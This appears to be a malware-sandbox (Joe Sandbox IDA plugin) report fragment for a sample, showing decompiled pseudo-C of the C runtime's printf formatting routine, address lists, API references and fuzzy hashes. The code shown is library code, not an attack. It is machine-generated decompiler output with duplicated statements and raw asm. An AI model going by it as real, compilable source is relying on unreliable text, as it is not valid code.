																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434f79
0x00434f79
0x00434f79
0x00434f79
0x00434f79
0x00434f79
0x00434f79
0x00434f7f
0x00434f82
0x00000000
0x00434ffa
0x00000000
0x00434ffa
0x00000000
0x00434ffa
0x00434ffa
0x00435002
0x00435024
0x0043502a
0x0043504f
0x00435096
0x00435099
0x004350ba
0x004350bf
0x004350c4
0x004350ca
0x0043509b
0x0043509f
0x004350a4
0x004350a7
0x004350a8
0x004350ae
0x004350ae
0x00435051
0x00435054
0x00435057
0x00435079
0x0043507e
0x00435084
0x00435085
0x0043508b
0x00435059
0x0043505d
0x00435062
0x00435066
0x00435067
0x0043506d
0x0043506d
0x00435091
0x0043502c
0x00435030
0x00435035
0x00435038
0x0043503e
0x0043503e
0x00435004
0x00435008
0x0043500d
0x00435010
0x00435016
0x00435016
0x004350d6
0x00435118
0x0043511e
0x0043512a
0x00000000
0x004350d8
0x004350d8
0x004350d8
0x004350df
0x00000000
0x004350ec
0x004350ec
0x004350fa
0x004350ff
0x00435105
0x00435113
0x00435130
0x00435138
0x0043515a
0x0043515a
0x00435164
0x00435175
0x0043517f
0x00435181
0x00435181
0x00435166
0x00435166
0x00435166
0x00435194
0x00435196
0x00435196
0x004351a0
0x004351a3
0x004351a3
0x004351a9
0x004351ac
0x004351b1
0x00000000
0x00000000
0x004351c1
0x004351c4
0x004351ce
0x004351dd
0x004351e6
0x004351fc
0x00435202
0x0043520f
0x0043521d
0x0043521d
0x0043522c
0x00435234
0x00435234
0x0043523c
0x00435242
0x0043524b
0x00435257
0x00435270
0x00435276
0x0043527f
0x0043527f
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00000000
0x00435282
0x00435282
0x00435282
0x00435286
0x0043546d
0x00435471
0x00435479
0x0043547e
0x00435481
0x00435481
0x00435488
0x00435488
0x0043455f
0x00434565
0x00434572
0x00434577
0x00000000
0x0043458a
0x00434594
0x004345bb
0x004345a2
0x004345b3
0x004345b3
0x00434594
0x004345c5
0x004345cb
0x004345d7
0x004345da
0x004345e8
0x004345eb
0x004345f8
0x0043469d
0x004346a3
0x004346b0
0x00000000
0x00000000
0x004346b6
0x004346bc
0x00000000
0x004346c3
0x004346c3
0x004346db
0x004346e0
0x004346e5
0x0043479f
0x004347b2
0x004347b7
0x00000000
0x004346eb
0x004346fe
0x00434703
0x00434709
0x0043470b
0x00434714
0x00434717
0x00434723
0x00434727
0x0043472d
0x0043472f
0x00434734
0x00434736
0x0043473b
0x00434740
0x00434742
0x00434747
0x0043474d
0x0043474f
0x0043474f
0x0043474d
0x00434750
0x00434757
0x00000000
0x00434759
0x0043475e
0x0043477a
0x00434782
0x0043478f
0x00434794
0x00000000
0x00434794
0x00434757
0x00000000
0x004347bf
0x004347bf
0x004347c6
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x004347d5
0x004347d8
0x004347df
0x004347e6
0x00000000
0x00000000
0x004347f2
0x004347f2
0x004347f9
0x00434805
0x00434808
0x00434815
0x00000000
0x00000000
0x00434817
0x00434817
0x0043481d
0x0043481d
0x00434824
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434867
0x00434867
0x00434871
0x0043489b
0x0043489e
0x004348a1
0x004348a8
0x004348a8
0x004348ac
0x00434873
0x00434873
0x0043487f
0x00434886
0x00434888
0x0043488b
0x0043488e
0x00434894
0x00434896
0x00434896
0x00434899
0x00000000
0x00000000
0x004348b4
0x004348b4
0x00000000
0x00000000
0x004348c0
0x004348c0
0x004348ca
0x004348ed
0x004348f7
0x004348f7
0x004348fb
0x004348cc
0x004348cc
0x004348d8
0x004348df
0x004348e1
0x004348e1
0x004348e8
0x00000000
0x00000000
0x00434903
0x00434903
0x0043490a
0x00434916
0x00434919
0x00434926
0x00434a39
0x00000000
0x00434a39
0x0043492c
0x0043492c
0x00434932
0x00434932
0x00434939
0x00000000
0x0043496f
0x0043496f
0x00434972
0x00434978
0x004349a0
0x004349a0
0x004349a3
0x004349a9
0x004349ce
0x004349ce
0x004349d1
0x004349d7
0x00434a10
0x00434a21
0x00000000
0x00434a21
0x004349d9
0x004349d9
0x004349dc
0x004349e2
0x00000000
0x00000000
0x004349e4
0x004349e4
0x004349e7
0x004349ed
0x00000000
0x00000000
0x004349ef
0x004349ef
0x004349f2
0x004349f8
0x00000000
0x00000000
0x004349fa
0x004349fa
0x004349fd
0x00434a03
0x00000000
0x00000000
0x00434a05
0x00434a05
0x00434a08
0x00434a0e
0x00434a12
0x00434a12
0x00000000
0x00434a12
0x00000000
0x00434a0e
0x004349ab
0x004349ab
0x004349ae
0x004349b5
0x00000000
0x00000000
0x004349b7
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x004349c9
0x00000000
0x004349c9
0x0043497a
0x0043497a
0x0043497d
0x00434984
0x00000000
0x00000000
0x00434986
0x00434989
0x0043498c
0x0043498f
0x00434992
0x00434998
0x00000000
0x00000000
0x00434a23
0x00434a26
0x00434a29
0x00000000
0x00000000
0x00434940
0x00434940
0x00434943
0x00434949
0x00434961
0x00434964
0x00434967
0x0043494b
0x0043494e
0x00434951
0x00434957
0x0043495c
0x0043495c
0x00000000
0x00000000
0x00434a2e
0x00434a31
0x00434a36
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434841
0x00434844
0x00434847
0x00000000
0x00000000
0x0043484c
0x0043484f
0x00434854
0x00000000
0x00000000
0x00434836
0x00434836
0x00434839
0x0043483c
0x00000000
0x00000000
0x0043482b
0x0043482e
0x00434831
0x00000000
0x00000000
0x00434859
0x00434859
0x0043485c
0x0043485f
0x00000000
0x00000000
0x00434862
0x00000000
0x00000000
0x004345fe
0x00434600
0x0043460e
0x00434602
0x00434602
0x00434602
0x00434618
0x0043461e
0x0043462b
0x0043462d
0x00434632
0x00434634
0x00434639
0x0043463e
0x00434640
0x00434645
0x0043464b
0x0043464d
0x0043464d
0x0043464b
0x0043464e
0x00434655
0x00000000
0x00434657
0x0043465c
0x00434678
0x00434680
0x0043468d
0x00434692
0x00435551
0x0043555e
0x0043555e
0x00434655
0x004345f8
0x0043548d
0x00435494
0x004354ab
0x0043549f
0x0043549f
0x0043549f
0x004354b5
0x004354bb
0x004354c8
0x004354ca
0x004354cf
0x004354d1
0x004354d6
0x004354db
0x004354dd
0x004354e2
0x004354e8
0x004354ea
0x004354ea
0x004354e8
0x004354f2
0x0043553d
0x00435546
0x0043554b
0x004354f4
0x004354f9
0x00435515
0x0043551d
0x0043552a
0x0043552f
0x0043552f
0x00000000
0x004354f2
0x0043528c
0x00435292
0x0043529c
0x004352b1
0x004352c6
0x004352c8
0x004352cc
0x004352cc
0x004352b3
0x004352b3
0x004352b7
0x004352b7
0x0043529e
0x0043529e
0x004352a2
0x004352a2
0x0043529c
0x004352dc
0x004352e8
0x004352fe
0x00435303
0x00435303
0x00435319
0x0043531e
0x00435327
0x00435345
0x0043534a
0x0043534a
0x00435351
0x00435425
0x00435438
0x0043543d
0x00000000
0x00435361
0x00435361
0x00435361
0x0043536e
0x00435377
0x0043537d
0x0043537d
0x0043538c
0x00435394
0x00000000
0x00000000
0x0043539a
0x004353a3
0x004353c2
0x004353c7
0x004353ca
0x004353d9
0x004353e6
0x004353f1
0x004353f1
0x00000000
0x004353fd
0x004353fd
0x00435416
0x0043541b
0x00000000
0x0043541b
0x004353e6
0x00435423
0x00435440
0x00435447
0x00435465
0x0043546a
0x0043546a
0x00000000
0x00435447
0x00434a3e
0x00434a3e
0x00434a45
0x00434a4b
0x00434a51
0x00434a54
0x00434a5a
0x00434a6d
0x00434a6d
0x00434a74
0x00000000
0x00434dce
0x00434dce
0x00434dd5
0x00434ddc
0x00434ddf
0x00000000
0x00000000
0x00434a7b
0x00434a7e
0x00434a84
0x00434a89
0x00434a8e
0x00434a8e
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bc3
0x00434bc8
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434f9b
0x00434f9b
0x00000000
0x00000000
0x00434b25
0x00434b25
0x00434b31
0x00434b3e
0x00434b4c
0x00434b4c
0x00434b52
0x00434b55
0x00434b61
0x00434bb6
0x00000000
0x00434bb6
0x00434b40
0x00434b40
0x00434b4a
0x00434b66
0x00434b69
0x00434b6f
0x00434b97
0x00434b9e
0x00434ba4
0x00434ba7
0x00434baa
0x00434bb0
0x00434bb3
0x00434b71
0x00434b71
0x00434b77
0x00434b7a
0x00434b7d
0x00434b83
0x00434b86
0x00434b89
0x00434b8b
0x00434b8e
0x00434b8e
0x00000000
0x00434b6f
0x00000000
0x00000000
0x00434de5
0x00434de8
0x00434deb
0x00434dee
0x00434df4
0x00434df7
0x00434e02
0x00434e0d
0x00434e11
0x00434e28
0x00434e2f
0x00434e31
0x00434e31
0x00434e38
0x00434e3f
0x00434e50
0x00434e5f
0x00434e66
0x00434e7c
0x00434e68
0x00434e68
0x00434e6b
0x00434e71
0x00434e77
0x00434e77
0x00434e66
0x00434e86
0x00434e89
0x00434e8c
0x00434e8f
0x00434e92
0x00434e95
0x00434e9b
0x00434ea1
0x00434ea9
0x00434eaa
0x00434ead
0x00434eae
0x00434eb1
0x00434eb2
0x00434eb9
0x00434eba
0x00434ebd
0x00434ebe
0x00434ec1
0x00434ec2
0x00434ec8
0x00434ec9
0x00434ed7
0x00434ed9
0x00434edf
0x00434ee5
0x00434eed
0x00434ef5
0x00434ef6
0x00434ef9
0x00434efa
0x00434f08
0x00434f0a
0x00434f0a
0x00434f0d
0x00434f17
0x00434f1c
0x00434f22
0x00434f24
0x00434f2c
0x00434f2d
0x00434f30
0x00434f31
0x00434f40
0x00434f42
0x00434f42
0x00434f22
0x00434f45
0x00434f48
0x00434f4e
0x00434f53
0x00434f59
0x00434f5f
0x00434f62
0x00434f62
0x00434f65
0x00434f71
0x00000000
0x00434f71
0x00434e13
0x00434e13
0x00434e1d
0x00000000
0x00000000
0x00434e1f
0x00434e1f
0x00000000
0x00434e1f
0x00434e04
0x00434e04
0x00000000
0x00000000
0x00434a91
0x00434a94
0x00434a9a
0x00434af5
0x00434afd
0x00434b04
0x00434b0a
0x00434b10
0x00434a9c
0x00434a9c
0x00434aa6
0x00434aaa
0x00434ab2
0x00434ab9
0x00434ac6
0x00434acd
0x00434ad9
0x00434ae6
0x00434ae8
0x00434ae8
0x00434aef
0x00434b17
0x00434b1d
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cd7
0x00434cd7
0x00434ce3
0x00434cf0
0x00434d9a
0x00434d9d
0x00434da0
0x00434db4
0x00434dba
0x00434dc0
0x00434da2
0x00434da2
0x00434daf
0x00434daf
0x00434dc2
0x00000000
0x00434dc2
0x00434cf6
0x00434cf6
0x00434cf8
0x00434d06
0x00434cfa
0x00434cfa
0x00434cfa
0x00434d10
0x00434d16
0x00434d23
0x00434d25
0x00434d2a
0x00434d2c
0x00434d31
0x00434d36
0x00434d38
0x00434d3d
0x00434d43
0x00434d45
0x00434d45
0x00434d43
0x00434d4d
0x00434d95
0x00000000
0x00434d4f
0x00434d4f
0x00434d54
0x00434d70
0x00434d78
0x00434d82
0x00434d85
0x00434d8a
0x00000000
0x00434d8a
0x00000000
0x00434fdc
0x00434fdc
0x00434fe6
0x00434fec
0x00434ff1
0x00434ff7
0x00434ff7
0x00000000
0x00000000
0x00434f94
0x00434f94
0x00000000
0x00000000
0x00434bd1
0x00434bd5
0x00434be3
0x00434be6
0x00434bd7
0x00434bd7
0x00434bd7
0x00434bec
0x00434bf2
0x00434bf8
0x00434c04
0x00434c0a
0x00434c10
0x00434c77
0x00434c7b
0x00434c7d
0x00434c83
0x00434c83
0x00434c86
0x00434c89
0x00434c8f
0x00434c8f
0x00434c8f
0x00434c9b
0x00434c9e
0x00434ca6
0x00000000
0x00000000
0x00434ca8
0x00434ca8
0x00434cae
0x00434cb3
0x00000000
0x00000000
0x00434cb5
0x00434cbb
0x00434cbe
0x00434cbe
0x00434cc6
0x00434ccc
0x00434ccf
0x00000000
0x00434c12
0x00434c12
0x00434c16
0x00434c18
0x00434c1d
0x00434c1d
0x00434c20
0x00434c27
0x00434c2a
0x00434c30
0x00434c30
0x00434c30
0x00434c3c
0x00434c3f
0x00434c47
0x00000000
0x00000000
0x00434c49
0x00434c49
0x00434c4f
0x00434c54
0x00000000
0x00000000
0x00434c56
0x00434c5c
0x00434c5f
0x00434c5f
0x00434c67
0x00434c6d
0x00434c70
0x00434c72
0x00434cd2
0x00000000
0x00434cd2
0x00000000
0x00434f8b
0x00434f8b
0x00000000
0x00000000
0x00434fa7
0x00434fa7
0x00434fb1
0x00434fb1
0x00434fbb
0x00434fc1
0x00434fc3
0x00434fcd
0x00434fd0
0x00434fd3
0x00434fd3
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a74
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x00435282
0x004350df
0x004350d6
0x00434ffa
0x00434ffa
0x00434ffa

APIs

_get_int64_arg.LIBCMTD ref: 00435008
_get_int64_arg.LIBCMTD ref: 00435030
__aullrem.LIBCMT ref: 004351D5
__aulldiv.LIBCMT ref: 004351F7
_write_multi_char.LIBCMTD ref: 004352FE
_write_string.LIBCMTD ref: 00435319
_write_multi_char.LIBCMTD ref: 00435345
_wctomb_s.LIBCMTD ref: 004353C2

Strings

-, xrefs: 0043529E
9, xrefs: 00435208
_output_s_l, xrefs: 0043466E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434639, 00434669
("Incorrect format specifier", 0), xrefs: 0043462D, 00434673

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction ID: fa31812d41043d8851c92edf06ee85df6b1cafa64ebfb33499c3d3c64d49fb73
Opcode Fuzzy Hash: 3355f3763932df07ad1d0fd2ae35eb3be2290e0e985baa9290650d978a1f8e6e
Instruction Fuzzy Hash: A7F13AB1D016299FDB24CF58CC99BEEB7B1BB48304F2481DAD409A7281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C21B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C21B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428360(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428360(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428360(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428360(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428380(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428380(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430780(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00430800( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C3D0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C804))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043C910( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
